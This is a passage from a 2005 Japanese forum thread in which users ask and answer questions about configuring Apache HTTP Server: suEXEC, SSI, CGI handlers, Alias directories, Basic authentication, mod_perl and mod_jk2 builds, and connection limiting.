が、やっぱり気持ち悪い・・・
> 普通は、apacheがいちいちDNSを参照するのはコストが高いから嫌うので
> HostnameLookups はoffの方が良いかも
そうですね。
まあうちの場合、限られた身内のみに公開する予定なので、
そんなに負荷はかからないはずということでOnにしてます。
#Deny、Allowの設定はHostnameLookupsの設定に関わらず
#DNSを見に行くはずですが・・・
あと、
>>187 の補足です。
・REMOTE_HOSTがIPアドレスで返ってくるみたいな書き方をしましたが、
実際はNULLが返ってきます。
(自作ライブラリの中でREMOTE_HOSTが無効の場合はREMOTE_ADDRの値を
返すような関数を使ってました。)
・.htaccessを置いたディレクトリ配下でも、
CGIの中でgethostbyaddrを使ってIPアドレスをホスト名に変換することは可能でした。
>>189 > そうですね。
> まあうちの場合、限られた身内のみに公開する予定なので、
> そんなに負荷はかからないはずということでOnにしてます。
> #Deny、Allowの設定はHostnameLookupsの設定に関わらず
> #DNSを見に行くはずですが・・・
> あと、
>>187 の補足です。
> ・REMOTE_HOSTがIPアドレスで返ってくるみたいな書き方をしましたが、
> 実際はNULLが返ってきます。
> (自作ライブラリの中でREMOTE_HOSTが無効の場合はREMOTE_ADDRの値を
> 返すような関数を使ってました。)
> ・.htaccessを置いたディレクトリ配下でも、
> CGIの中でgethostbyaddrを使ってIPアドレスをホスト名に変換することは可能でした。
情報を小出しにする奴は嫌われるわけだが
suExecって複数のディレクトリ対象に出来ないの? 例えば /home/*/public_htmlより下と/users/*/public_htmlより下の二つのディレクトリ配下でsuExecするのって無理?suExec
>>192 と言う事はコンパイラにディレクトリ二つ指定すればできるんだな。
サンキュー
どうやってコンパイラに二つ指定するん?
超能力
多数のユーザーに貸し出す場合HostnameLookups をオフにしても ユーザーが各自CGIでホスト名を取得しようとするので 結局負荷は軽くならないばかりかかえって増えてるような気がするんだが 実際のところどれくらい増えてる(あるいは減ってる)か検証した神はいませぬか?
負荷は DNS サーバにかかる。 web サーバへの負荷もないではないが微々たるもの。 また、DNS サーバからの問い合わせ結果が返ってこないと アクセスログに書けないし、アクセス可否も決められないので、 負荷はそれほどでもないのに web サーバの応答が遅くなる。
Apache HTTP Server 2.0.53 リリース
よし!早速うpだてだ!
Apache2.0.xで転送URL(
http://roo.to/***/ )からのアクセスのみを
弾きたいんですが、これリファラを残さないので弾けないようなのです、
何か上手い方法はないものでしょうか
METAで飛んでくるんだから無理じゃね?
>>200 迷惑してるならそこに言って削除してもらえば?
203 :
DNS未登録さん :05/02/12 22:32:46 ID:zGcOQ+z1
SSIの使用可能コマンドを制限するにはどうすればいいでしょうか。 特定のコマンド以外利用できなくする等。。
204 :
DNS未登録さん :05/02/13 00:48:50 ID:gutq7nAU
今までMacX 10.1使ってて、apache1.3.27を使ってたんだけど。 そのときは問題なくAdobe GoLiveでつくったCSSが動いていたが。 最近MacX 10.3に変更して、ついでにapacheも2.0.51にかえたらCSSが動かなくなった。 フローティングボックスが、スクロールしても常に左上に移るようにすることとか、 クリックすれば非表示のフローティングボックスが表示になるとか。 なぜ????
>>203 perlスクリプトを許可するなら結局なんでもできてしまうからそんなことしてもあんまり意味無いぞ
だからそういう方法も提供されてないんだとおもわれ
207 :
205 :05/02/13 02:23:14 ID:???
>>206 だったらperlを提供しなきゃ良いし、不必要なモジュールを外しても良い
>>203 がどのレベルで望んでるのかが判らんが
>>207 たとえばXREAなんかはSSIでvirtualコマンドぐらいしか利用できなくなってます。
これは標準で設定できる機能じゃなくて、ソースレベルで改良して実現してるのですか?
210 :
DNS未登録さん :05/02/13 22:12:02 ID:4BNf3sd5
>>208 それは標準機能です
でも自作CGIを許可してるならセキュリティー上の意味はありません
212 :
204 :05/02/13 23:27:15 ID:gutq7nAU
無視されてる?MacUserだから?
>>212 知ってるやつが居ないだけだろう
被害妄想もほどほどに
>>212 サーバ側が変更になっても送られてくるデータが同じであれば、
クライアント側に影響がでるとは考えづらい。
むしろクライアント側の変更が影響していると考えるべき。
そしてクライアント側の話はこの板の範疇外。
よって、(存在するのかどうか知らんが)MAC板へGo。
216 :
DNS未登録さん :05/02/14 11:58:32 ID:x3GcT+lx
Apache ver 2.0.40 を使用しています 動作的にはこの半年ほど問題なく動いています。 ところが、昨日public_html以下にerrorという名前の フォルダーを作成して中にhtmlを入れて表示しようとしたところ Error 403 が出てしまいました 他は問題なく表示されているので、アパッチの問題だとは 思うのですが、改善のための手段がさっぱり見えてこないので どなたか分かる方教えていただけませんか?
Apache のせいだと思うのならば httpd.conf を見なされ。 ちゃんと書いてあるから。
日本語で書いてなければ書いてあるとはいいません!
>>217 ありがとう
舐めるように見たら有りました
どうもお騒がせしました
昨日までApache2.0.52でしたが,今日Apache2.0.53を ./configure --prefix=/usr \ --with-layout=RedHat \ --enable-mods-shared=all \ --enable-so --enable-ssl \ --enable-suexec \ --with-suexec-docroot=/home \ --with-suexec-caller=apache \ --with-suexec-userdir=public_html \ --with-suexec-uidmin=500 \ --with-suexec-gidmin=500 \ --with-suexec-logfile=/log/httpd/suexec.log \ --sysconfdir=/etc/httpd/conf でインストールしました。 httpd.confも適応するように書き換え 今までSuEXECで動いていたCGIを実行すると500エラー。 Premature end of script headers: や failed to open log file, referer: fopen: No such file or directory, referer: のエラーがログに記録されて作動しません。 何が原因なのでしょうか。助けてください。
/log/httpd/suexec.logは存在するのか?
>>222 いやー,お恥ずかしい。
直りました。ありがとうございます。
深々礼。
/var/log/httpd/suexec.log を作ってました・・・。
アワワ ヽ(´Д`;≡;´Д`)丿 アワワ
224 :
212 :05/02/14 20:58:25 ID:qHfCdYmj
被害妄想すみません。 でも以前のサーバ(apache1.3.27)から読み込むときちんと動作して、 同じブラウザのまま、現行のサーバ(2.0.52)から読み込むと全く動作しない。 もちろん現行のサーバのファイルは、以前のサーバからまるまる移植した物で 全く同じ(ディレクトリも同じ) サーバのせいじゃ無いの?
>>224 サーバの設定やバージョンがどうなっていようとも、
サーバから送られてくるデータ(htmlや画像やcssやJavaScript etc.)が同じなら
ブラウザの挙動は変わらない。
まずは、データの違いを調べることから始めてみれば?
JSファイルが呼び出せていないだけの気もするがなぁ。
そのページを晒してくれるのが一番早いんだが。
226 :
212 :05/02/14 22:45:47 ID:RcCBkETt
ごめん。しんきの(現行の)サーバはまだ未公開。 でもjsファイルが呼び出せていないっていうのは調べてなかった。 ちょっと調べてみる。ありがと
227 :
212 :05/02/14 22:54:19 ID:RcCBkETt
ちなみに、でふぉでのjsファイル読み込みフォルダとか、読み込む先ディレクトリの設定方法とかって教えてもらえないでしょうか?
ふぉえ〜?
>>227 apache1使っておけ
お前にapache2は無理だ
apache1に戻しても、jsフォルダの設定を間違えれば同じだな。
231 :
DNS未登録さん :05/02/14 23:52:03 ID:Z5TaQZKF
環境:Debian + apache1.3.26 perl等のCGIにより作成されたファイルの所有者がどうしてもapacheユーザーに なってしまうんですが、そのCGIの所有者のままにするにはどうすればいいでしょうか。 SUEXECははずしてます。
>>231 そういうものです。apache ではなく OS の仕様です。
なんでも仕様にする人って嫌いです。
>>231 神かアホかは知らないが
そう言う物ですとしかいえない。
235 :
210 :05/02/15 00:28:37 ID:???
>>210 です。
分かる方いらっしゃらないのでしょうか。
それともタコな質問なんでしょうか??
>>235 できないので rewrite を使うのが正解。
てかPerlスクリプトでchownすりゃいいやんけ
239 :
231 :05/02/15 00:58:17 ID:nR9xf8KS
231です。 デフォルトでは生成されたファイルはHTTPDユーザーの所有権になる事を 恥ずかしながら知りました。そしてsuexecを入れることにより ユーザー権で生成されるようになるという事もわかりました。 Debianの場合インストールされるディレクトリが一般と違うんですが、 コンパイル時に出来たsuexecというファイルを特定のディレクトリに 投げるとSUEXECが有効になるんですがdebianの場合どこにおけばいいか・・・ ここで答えを待つ間にも調べてきます。。
・・・・・ ・・・・・・・・・
>>235 違います。
ここにいる人たちがタコなんです。。
apache2でcぎcgiで吐き出したコンテンツをfirefoxで見たらソースがゾロゾロでてきたので なんでやねん!とヘッダをかくにんしたらcgiが Content-Type: text/html を吐いてるにもかかわらず サーバーが Content-Type: text/plain を付け足している模様・・・・・なんでや〜〜・・・ DefaultType を text/html にすると今度はplain で吐き出したいときにうまくいかないし なにかいい方法ありませんかねえ?
>>242 具体的にCGIを晒してみれ。
ヘッダの改行コードを間違えてる等の単純な原因だとは思うが。
244 :
DNS未登録さん :05/02/15 12:32:32 ID:iH8rKW/o
>>243 そうじゃなくて、CGIで吐き出したヘッダと別にDefaultType で指定したconten-typeがくっついてくるんよ
まあコード見たいなら見せてあげるけど(w
#!/usr/bin/perl
print "Content-Type: text/html\n\n";
print "<html><body>test</body></html>";
245 :
DNS未登録さん :05/02/15 13:19:49 ID:iH8rKW/o
スマソ、徹夜明けで目が節穴になっていたようだ このコードだとうまくいった 目を皿のようにして(嘘)チェックしたらハイフンが抜けてた スマソかった、いってくる
にしても問題をややこしくしてるのは、ハイフン抜けててもちゃんと表示してしまうIEだな・・
初心者にも対応してあげてるんです ゲイツ氏に感謝
249 :
DNS未登録さん :05/02/17 02:19:56 ID:FLKcs3tD
スマソ,経験値貸してください. windows上のApache2で,仮想ディレクトリのサブディレクトリとして さらに仮想ディレクトリを設定しても,WebDavやブラウザに表示されません. 仮想じゃないディレクトリはちゃんと表示されるんですが,そういうもの? 要するに・・・ Alias /a/sub1 "c:/hogehoge" Alias /a/sub2 "c:/hugahuga" Alias /a "c:/hoge" アドレスは適当ですが,こうして /a にアクセスしたときに, sub1と sub2 というサブディレクトリが見えて欲しいのですが.
しまった,ageちまったorz
>>249 こうじゃないのか?
Alias /a/sub1 "c:/hoge/hogehoge"
Alias /a/sub2 "c:/hoge/hugahuga"
Alias /a "c:/hoge"
252 :
249 :05/02/17 02:59:36 ID:???
>>251 ありがとうございます.
いや,実ディレクトリの方はそうはなってないんです.
それに,それだと仮想ディレクトリ不要では・・・・?
253 :
249 :05/02/17 03:07:06 ID:???
例がわかりにくかったかもしれません,すいません. やりたいことは, Alias /user/music "c:/webdav/shared/music" Alias /user/picture "c:/webdav/private/picture" こういうことです. /user にアクセスしたときに, music と picture ディレクトリが表示されて欲しいのです. 無理でしょうか・・・?
>>253 ショートカット作っとくのではだめかな?
>>253 c:\hoge ディレクトリに music と picture というダミーのサブディレクトリを作れ。
AliasはApache内部の仮想ディレクトリを定義するための仕掛けだから、
Aliasでサブディレクトリを指定したところでそれは一覧に表示されない。
とりあえずダミーのディレクトリを作っておけばAliasもきちんと動くしディレクトリ
も見えるようになるはず。
256 :
253 :05/02/17 11:37:24 ID:???
257 :
253 :05/02/17 12:05:41 ID:???
>>255 できました.ありがとうございました.
これで複雑な構造でも実現できそうです.
apache 1.3.33 vine 2.6 です。 /usr/local/hoge/html 以下にある user.cgi, admin.cgi に各々 Basic 認証をかけたいです。 以下のような /usr/local/hoge の設定に、<Files>ディレクティブを各々記述して、 パスワードを求める設定にしているつもりなのですが、2つ記述したうちの最初に 記述した方のみ、パスワードを求められます。下の設定では、user.cgi にアクセス するとパスワード入力を求められますが、admin.cgi では求められません。 何がいけないのでしょうか? /usr/local/hoge に .htaccess を置き、そこで Options ExecCGI を設定しています。 <Directory "/usr/local/hoge/"> AllowOverride All Order allow,deny Allow from all <Files "*.conf*"> deny from all </Files> <Files user.cgi> AuthType Basic AuthUserFile /usr/local/hoge/html/.htpasswd_user AuthName "Enter hoge password" Require valid-user </Files> <Files admin.cgi> AuthType Basic AuthUserFile /usr/local/hoge/html/.htpasswd_admin AuthName "Enter admin password" Require valid-user </Files> </Directory>
259 :
DNS未登録さん :05/02/17 23:28:16 ID:fnMh+rqU
Apache 2.0.52をソースからコンパイルして使っています。 バーチャルホストへのアクセスで吐き出されるログが 必ず2行ずつ出力されるのですが、これってバグでしょうか? それとも設定がおかしいのでしょうか?
>>259 どんな2行だい。
そっと晒してごらん。
261 :
DNS未登録さん :05/02/17 23:41:17 ID:fnMh+rqU
>>260 同じ行が2つずつです。
↓こんなかんじで・・・
212.xxx.xxx.xxx - - [17/Feb/2005:22:46:17 +0900] "GET / HTTP/1.1" 200 646999
212.xxx.xxx.xxx - - [17/Feb/2005:22:46:17 +0900] "GET / HTTP/1.1" 200 646999
212.xxx.xxx.xxx - - [17/Feb/2005:22:46:25 +0900] "GET /favicon.ico HTTP/1.1" 404 287
212.xxx.xxx.xxx - - [17/Feb/2005:22:46:25 +0900] "GET /favicon.ico HTTP/1.1" 404 287
262 :
DNS未登録さん :05/02/18 01:17:42 ID:T9LVYeb3
SSIのexec cgiを許可して、exec cmdを禁止する方法があれば教えてください。
ApacheのユーザーDirで、公開する際 /~user ではなく /user の 形にしたいのですが方法があれば教えていただけると助かります。
>>263 です
#UserDir "home"
AliasMatch ^/([^/]+)/(.*) /Users/$1/Sites/$2
すいません、自己解決しました。~が一つ抜けてただけでした。
265 :
DNS未登録さん :05/02/18 19:39:40 ID:mLGD+62p
Apache 2.0.53を早速導入してみました、すると、 文字化けしてしまったので AddDefaultCharset をチェックしようと思ったら、 この行が無いのです。 適当に追加してプロセスを再起動してみましたが、 ダメでした、解決策を教えていただけると幸いです
>>265 metaタグでcharsetを指定しましょう。
正規表現が顔文字にしか見えません・・・だめでしょうか?
>>367 (\(*.*)
おもろい
call me?
>>267 「IEの中止ボタンが椎茸に見えて困る」と同じレベルだな。
272 :
DNS未登録さん :05/02/19 13:53:49 ID:kCExlM7c
apacheに雷電FTPDをインストールしたいのですが教えてください。
273 :
DNS未登録さん :05/02/19 13:58:35 ID:4aOSAXT3
>>272 馬鹿ですか?
Apacheに雷電ftpdをインストールする人なんて普通は居ません。
冷たいですね
ApacheにWindowsをインストールしたいのですがやり方がわかりません
>>275 カスですか?
ApacheにWindowsをインストールする人間なんて基本的に居ません。
apacheでCGIを動かそうとしています。設定はwebminを使ってやっています。 始めは問題なく表示されていたのですが、 /cgi-bin/hoge/ -> /var/www/cgi-bin/hoge のようなエイリアスを設定したあと、やはりいらないということで、この エイリアスを削除したところ、CGIが実行されず、CGIのソースがそのまま 表示されるようになってしまいました。 どういた原因が考えられるでしょうか
>>277 SetHandler cgi-script を消してしまったと思われ。
279 :
277 :05/02/19 17:36:33 ID:???
すみません、環境を書くのをわすれていました。 OSはRedHat9で、Apacheのバージョンは2.0.40です。
280 :
277 :05/02/19 17:58:06 ID:???
>278 ディレクティブの設定に AddHandler perl-script cgi pl という記述はあるのですが、これでは、だめなのでしょうか。
>>280 Addhandler cgi-script .cgi
Addhandler cgi-script .pl
こうじゃ駄目?
282 :
277 :05/02/19 21:03:49 ID:???
>>281 Addhandler cgi-script .cgi
Addhandler cgi-script .pl
を追加したら、うまくいきましたーありがとうございます。
ちなみに
Addhandler cgi-script cgi pl
でもうまくいきました。
でも、はじめはうまくいってたのはなんだったんだろう・・・
>>282 うまくいってたときのconfは残してないのか?
Alias /speedy/ /home/hogehoge/public_html/speedy/ <Location /speedy> SetHandler speedycgi-script Options ExecCGI allow from all </Location> このディレクトリーの中にhtmlファイルや 画像ファイルを置いたらエラーがでます 見れるようにするにはどうすればいいのでしょうか?
288 :
DNS未登録さん :05/02/24 21:37:53 ID:d04VgRGt
2.0.53にOpenSSLがINSTALLできん。 以前はブラックブックに乗っている方法で設定すれば問題なく動いたkが。 INSTALLできた人いる?
>>288 installというかbuildできた。windowsだけど(w
Apache/2.0.53 (Win32) mod_ssl/2.0.53 OpenSSL/0.9.7e
Apache 1.3.33 Win32(Windows2000 Professional) .htaccessのAuthUserFileにファイルを複数指定し、or判定をさせたい。 単純に.htpasswdの結合をすればいいじゃなーいって言われそうなんだけど、 A-Usersには/a/及び/share/ B-Usersには/b/及び/share/ にアクセスを許可したく。 /a/にはa.htpasswd /b/にはb.htpasswdを指定すればいいのですが、 /share/での指定に困ってます。 やってみたこと ・キーワードを変えてのぐぐり (自信なし) →hitさせられず ・単純にAuthUserFileを2行列記 →下に書いたAuthUserFileのみ受け付けられる ・AuthUserFile "a.htp〜";"b.htp〜" もしくは", "の区切りで指定 →Error500 2.0.xで〜ディレクティブみれ、とかポインタだけでいいのでご教示願えれば…
htpasswd はひとつにまとめる。 AuthGroupFile で A と B のユーザをグループにまとめる。 /share/ では require valid-user、 /a/ では require group A、/b/ も同様。
>>291 とてつもなく速いレスありがとう。
ユーザ管理の都合上、テキストベースで管理するにはちょっとつらく、
かといってDBを立てるまでもない(IDにして40〜50ほど)というレベルであるので、
.htpasswdをまとめるのは正気辛いのだが、手っ取り早さでは一番みたいだね。
当面それで対応してこうと思います。
HostnameLookups offなのに一つのVirtual Hostだけアクセスログに IPじゃなくてホスト名でアクセス元記録しやがるのですがどうすれば直せますか?
おまいの .htaccess で deny from .kr となってる部分を消せ。
>>294 deny from .krはしていません。
kr はただの例だ。 IP アドレスじゃなくてホスト名でアクセス制御してるところを消せ。
>>291 スクリプト使って生成してるならちょこっと手を入れれば別々の
パスワードファイルを生成するのもひとつにまとめるのも簡単だが
もしかして手作業で50人分の パスワードファイル書いてるの?
>>296 SetEnvIf user-agentやremote_addrでアクセスコントロールしてるとこはあるけど
ホスト名でアクセスコントロールしている所は無いっす。
質問者は最初にhttpd.conf丸ごと見せろ。 少しづつ情報見せられても時間がかかるだけ。
logformat の%hを%aにして無理矢理IPが入るようにしました。 いきなりFQDNで記録しはじめた原因は不明
>>300 おまえはすでにハクられている(w
てな可能性もかんがえとけ
302 :
DNS未登録さん :05/02/27 21:12:23 ID:e0M6sYDF
>289 うらやますぃー 未だにできない。 MacOSX10.3.8 Apache2.0.53 OpenSSL 0.9.7e なぜか今のエラーメッセ―ジはOpenSSL 0.9.7b これまたなぜ?
303 :
DNS未登録さん :05/02/28 13:30:52 ID:Dvf9ORaD
質問です。
<VirtualHost *>
ServerAdmin
[email protected] DocumentRoot /home/hoge/public_html
ServerName hoge.localhost.nanashi
ErrorLog /home/hoge/hoge-server-error_log
CustomLog /home/hoge/hoge-server-access_log common
</VirtualHost>
こんな感じでバーチャルホストを設定したのですが
アクセスは出来るようになったものの、相対パスがおかしくなります。
PHPを設置したりした時に、index.phpと同じディレクトリの/hogeと言うディレクトリを指定するのに
/home/hoge/public_html/hoge
と指定しないと、ダメになります。
相対パスが使えるようにするにはどうすれば良いのでしょうか?
ちなみに、Apache/2.0.50で、PHPは4.3.9です。
よろしくお願いします。
304 :
DNS未登録さん :05/03/01 12:10:05 ID:BkKGuecr
質問です Fedora core 3、Apache2.0.52 ですが、 CGI+SSI で、 <!--#exec cmd="pwd"--> <!--#exec cmd="ls -l"--> までは実行可能なのですが <!--#exec cmd="../../cgi-bin/test.cgi"--> が実行出来ません Option に +Includes 指定して、 cgi のパスも通ってるのですが、 上記以外に設定項目ありますでしょか test.cgi はイメージタグで書くと動作してます オナガイイタシマス
>>304 まずはエラーログを読め。そこに原因が書かれている。
>>303 > PHPを設置したりした時に、index.phpと同じディレクトリの/hogeと
> 言うディレクトリを指定するのに
PHPのスクリプト内でのことか?
それならまずは作ったコードを貼れ。
>>305 アリガトンゴザイマス
エラーログですが
script not found or unable to stat : /usr/local/bin/java/jakarta-tomcat-5.0.28/webapps/hoge/WEB-INF/cgi/test.cgi
unable to include "../../cgi-bin/test.cgi" in parsed file /usr/local/bin/java/jakarta-tomcat-5.0.28/webapps/hoge/hoge2/hoge3/index_test.htm
となってます
script not found なのかと思って、cgi-bin のパス設定の場所を調べたんですが、
きちんとソコにファイルがアリマスタ
権限ないのかと思って、テスト環境だしと、とりあえずパーミッション 777 にしときました
あ、
>>304 は一部まつがい
<!--#exec cmd="../../cgi-bin/test.cgi"-->
ではなくて
<!--#include virtual="../../cgi-bin/pv.cgi"-->
デスタ
Options +Includes も設定したのですが…
オナガイイタシマス
>>307 フルパスで、
> /usr/local/bin/java/jakarta-tomcat-5.0.28/webapps/hoge/WEB-INF/cgi/test.cgi
のファイルは存在しているのかい?
エラーログにこれが書かれているのは、 Virtual="../../cgi-bin/test.cgi" を解析
した結果、何らかの設定で上記のディレクトリパスが導かれたためだ。
>>308 ハヒ
その古パスでcgiファイルがあります
プロンプトから、対象cgi は動くんですが(中身はperl)
ブラウザからだと、動いてくれません…orz
Vine2.6Linuxppc(玄箱)でapacheをアンインストール(削除)したいのですが できません。 どうやればいいでしょうか
>>309 あとはApacheのユーザ (一般にはnobody) がアクセスできないとかではないかな。
対象のcgiが動くかどうか
# su nobody
して試してみれ。設定によっては
# su nobody --shell=/bin/bash
でないと動かないかもしれない。
>>310 パッケージから入れたのなら rpm -e (パッケージ名) で削除できるだろ。
rpmの使い方はman pageなどで。
ソースから入れましたのでrpmでは消せませんでした usr/lib/apacheを rm -r *で消せました
apacheはmake uninstallで消せた気が・・・
もう一度ソースからインストールしてCheckinstallでパッケージ作成してから削除すれば・・・面倒くさいね。
>>311 ・・・うぅ、まだ動きませんがいろいろアリガトンゴザイマスタ
再度調べに逝ってきます…
phpを持ち主権限で動かす方法って無い?
319 :
DNS未登録さん :05/03/03 18:56:53 ID:g+Vc1+uB
Apache2.0.52をFedora Core3で設定しているのですが ドキュメントルートを変更しても変更が 反映されないでテストページが表示されます。 どうしてでしょうか?
>>319 変更すべき項目が間違ってるからだろう。
rebootしてないってことは無いだろうな?
rebootじゃなくてrestartだった
323 :
DNS未登録さん :05/03/04 12:00:16 ID:X0gl/LUd
debian+apache2+libapache2-mod-perl2という環境です index.cgiからrequire "hoge.pl";としてhoge.plが呼び出されているのですがブラウザでアクセスするとInternal Server Errorになります /var/log/apache2/error.logには [error] Can't locate common.cgi in @INC (@INC contains: /usr/lib/perl5/Apache2 /etc/perl /usr/local/lib/perl/5.8.4 /usr/local/share/p erl/5.8.4 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.8 /usr/share/perl/5.8 /usr/local/lib/site_perl . /etc/apache2) と出ています index.cgiとhoge.plは同じディレクトリにあり、アクセス権は755で.htaccessは DirectoryIndex index.cgi AddHandler cgi-script .cgi <Files *.cgi> Options +ExecCGI SetHandler perl-script PerlResponseHandler ModPerl::Registry PerlSendHeader On </Files> になっています require "hoge.pl"を絶対パスで指定すると問題なくアクセスできるようになったのですが この修正をせずにこれを解決する方法はないのでしょうか? perlもcgiも使いはじめたばかりで理解が足りないところが多いとは思いますがよろしくお願いします。
>>323 手元では試してないが、require "./hoge.pl" じゃダメか?
[error] Can't locate ./cgi-lib.pl in @INC ダメみたいです。 というかcgi側の修正無しに(require "hoge.pl"のままで) これを動かせないかという意味だったのですが ちゃんと説明しきれていなかったようですいません。
絶対パスで指定したら動くという事は、apache通していないという事。 AddHandler cgi-script .cgi .pl
> require "hoge.pl"; > Can't locate common.cgi > Can't locate ./cgi-lib.pl いったい何を呼び出したいんだ〜〜〜〜
>327 すいません、単にcgi-lib.plをhoge.plに変えて書き込んだのにログの方を修正してなかっただけです。 2chに書き込むときの癖でして・・・。 AddHandler cgi-script .cgi .plでも無理でした。そもそも*.cgiを読み込むようにしても同じようになったので。 カレントディレクトリを見ていないのかなと思ったりもしましたが /usr/local/lib/site_perl . /etc/apache2の . はカレントディレクトリのことですよね・・・ うーん、混乱してきたので一旦出直してきます・・・。
329 :
DNS未登録さん :05/03/04 16:46:11 ID:LV7GuE4g
Debian Woody Apache 1.3 Tomcat 5 ですが、 Apache + Tomcat のコネクタ mod_jk2 生成でつまずいております バイナリそのままのコネクタでは、実現できなかった為、 コネクタソース jakarta-tomcat-connectors-jk2-src-current.tar.gz 及び、apr-1.1.0.tar.gz、apr-util-1.1.0.tar.gz、を展開し、 mod_jk2のコンフィグを以下のように実行しましたが $ ./configure --with-apxs=PREFIX/bin/apxs \ --with-apr=/absolute/path/to/apr-0.9.4 \ --with-apr-util=/absolute/path/to/apr-util-0.9.4 まずは、configure 段階で apr-1.1.0.、apr-util のコンフィグファイルがないということで、 apr-1-config → apr-config apu-1-config → apu-config とコピーし、コンフィグファイル無の問題を回避 その後、make 段階で、 In file included from ../../include/jk_global.h:27, from ../../include/jk_pool.h:25, from ../../include/jk_map.h:26, from ../../common/jk_channel.c:23: jk/native2/apr/include/apr.h:269: parse error before `apr_off_t' jk/native2/apr/include/apr.h:269: warning: data definition has no type or storage class な感じのエラーで make が異常終了致します 何か情報ありましたら、オナガイ致します
330 :
DNS未登録さん :05/03/04 19:06:50 ID:cb0na5RG
質問です。 mod_php5-5.0.3_2,1 php5-extension 1.0 Apache2.0.53 をportsから導入し Webminから、Apache2を起動すると Apacheを起動できませんでした : Apache does not appear to be running : [Fri Mar 04 23:55:04 2005] [notice] Apache/2.0.53 (FreeBSD) PHP/5.0.3 configured -- resuming normal operations [Sat Mar 05 03:23:13 2005] [notice] caught SIGTERM, shutting down PHP Warning: Method panda::__set() must take exactly 2 arguments in Unknown on line 0 PHP Warning: Method panda::__set() must take exactly 2 arguments in Unknown on line 0 PHP Warning: Method panda::__set() must take exactly 2 arguments in Unknown on line 0 このようなエラーが出ます。 php5-extensionを入れる前までは出なかったので、この中の何かが原因だとは思うのですが、 pandaをdeinstallしても、結果は同じでした。 何故でしょうか? 環境は、FreeBSD 6.0-CURRENTです。
カレント使う香具師の質問じゃないな(藁
332 :
330 :05/03/04 19:12:03 ID:???
>>331 いやー、本当はバグ報告しようと思ったんだけど
もし、一般的に知られてるミスだったら、恥ずかしいから一応書いたんですよw
>>330 panda外してもダメって事は無いと思うが…。
外した後リブートしたら?
それで無理なら、手動で設定書き換えちゃえ
335 :
330 :05/03/04 19:48:31 ID:???
すまそ、めっちゃ的を外したエラーメッセージ出してました。
何かエラーログの出方がおかしいので、一度エラーログをrmしたら、
思ったとおり、何もエラーを吐いてませんでした。
>>330 のは以前出てたエラーでした。
今回のは突然プロセスが消えるだけで、エラーすら吐かない厄介なヤツです。
こうなると、見当も付かないので、本家に報告してみます。(エラーログすら出力されないと言う時点でおかしいので・・・)
どうもありがとうございました。
・・・・・
FedoraCore3で自宅サーバをたてているのですが サーバマシンからだとWebページの画像が表示できているのに 外のマシンからだと画像が表示できません。 文字列は表示できています。 どうやったら外からのマシンで画像が表示できるのか教えて下さい。
おいおい・・・
>>330 のに何で誰も突っ込まないんだ?
このスレのレベルはそこまで落ちたのかよ!?
馬鹿ばっかりかよ!
マジそんなのでバグ報告とか勘弁してくれ。
日本の恥だぞ。
339 :
336 :05/03/05 01:02:32 ID:???
つーか、エラーが出ないんじゃ回答者としては可能性が色々あり過ぎて何とも言えないわけだが…。 しかし、言えないんでは解決できない→質問者がバグ報告の方向へ しかし、明らかにバグ報告するような問題ではない。
おそらく誤爆のバグ報告ってあると思うんだけど 割合的にどんなもんなんすかね?
人柱試用のkernelに人柱仕様のApacheに人柱仕様のmod_php組み合わせたようなのでは組んだ事ないなぁ・・・ Apache+mod_php4な無難なオイラには残念ながら一般的な回答しか出来ませんでした。 無知ですまんね〜
まぁ、誰一人としてマトモな回答が出来てない辺り 実は俺意外誰もわからなかったりしてw 住人A(なんじゃ、質問者の分際で人柱仕様かよ。とりあえず煽っておこう) 住人B(何!?Aのやつ何か煽ってるぞ!?まさか常識問題なのか!?とりあえず俺もわかったフリ と・・) 住人C(とりあえず俺も当たり障りが無いレスしとこ〜) こんな感じだったりしてw
345 :
334 :05/03/05 01:26:55 ID:???
>>344 無知な住人Cです。ごめんなさい・・・orz
ん〜?
何かあったかい?
うちはmod_php5 + apache2だが…
なんて事無くportsから導入出来たぞ?
>>330 と違う点は、5.3だと言う事くらいか…
カーネルの問題なら、/usr/src/UPGRADE見れば良いんじゃない?
あ、ごめん。まさに俺
>>344 の住人Cだな…w
347 :
331 :05/03/05 01:49:03 ID:???
即レスで終了したはずなのに。。
348 :
330 :05/03/05 01:49:36 ID:???
>>344 俺は、
Certainly, I don't know the answer,
but your attitude makes me angry.
ですw
349 :
348 :05/03/05 01:51:19 ID:???
スマソー、名前欄は間違いです・・・ どっかのCookieが残ってたみたいです。 気にしないで・・・
>>347 で、結局何が原因なの?
当面php5で実用するつもりはないけど、一応知っておきたい。
351 :
331 :05/03/05 01:59:50 ID:???
何故漏れに聞く?
| *** WARNING *** | In order to build PHP as a Apache2 module on FreeBSD, you have to | add --with-tsrm-pth to your ./configure line. Therefore you need | to install gnu-pth from /usr/ports/devel/pth.
>>353 そうそう、それそれ。
わかってたんだけどさー
ははは〜つまりそういうことなんだけどさ〜〜もう書いちゃったんだ〜〜〜 いや、俺だって分かってたけどね。もちろんw
356 :
353 :05/03/05 02:17:25 ID:???
ははは〜こうやってたまには釣られてみるのもいいよなぁ〜〜〜 ま、ちゃんと分かってるけど、面白いからもうちょっと書かないでおくとするか〜〜〜w
そろそろマジレス extensionを導入して起動しなくなったんだろ? じゃあ、mod_php5本体と問題を切り離せるだろ? じゃあ、あとはextensionで入れる何かが問題でてるわけだ。 こういう場合は、make configで最小構成で順番に増やしていけば問題のあるパッケージがわかるだろ? 後は、もうわかるな。
360 :
DNS未登録さん :05/03/08 10:15:01 ID:vPl9cy2a
画像掲示板にmod_limitipconnを使用しています サムネイルをsmall、実ファイルをlargeというフォルダに入れて、largeにだけ mod_limitipconnを効かせたいのですが、large内の.htaccessに記述しても サムネイルページの表示途中に実ファイルをクリックするといった、small内の ファイルにアクセスしている最中だと、large内についてのアクセスが制限以下でも 制限に引っかかってしまいます 他のフォルダのアクセス状況に関わらず、large内についてだけ制限をかける といった方法はできないでしょうか
>>360 mod_limitipconnはそれがONに設定されているディレクトリへのアクセスが発生すると、
単純に他のアクセス状況を参照してカウントするだけの機能しか持っていない。
その「他のアクセス状況」の側で何のアクセスをしているのかは見ていないので、
small側でダウンロード中だったりするとそれがカウントされてしまい制限に
引っかかってしまうというわけだ。
従ってmod_limitipconnでは無理だと思う。
362 :
DNS未登録さん :05/03/08 14:45:29 ID:UmKCdDa7
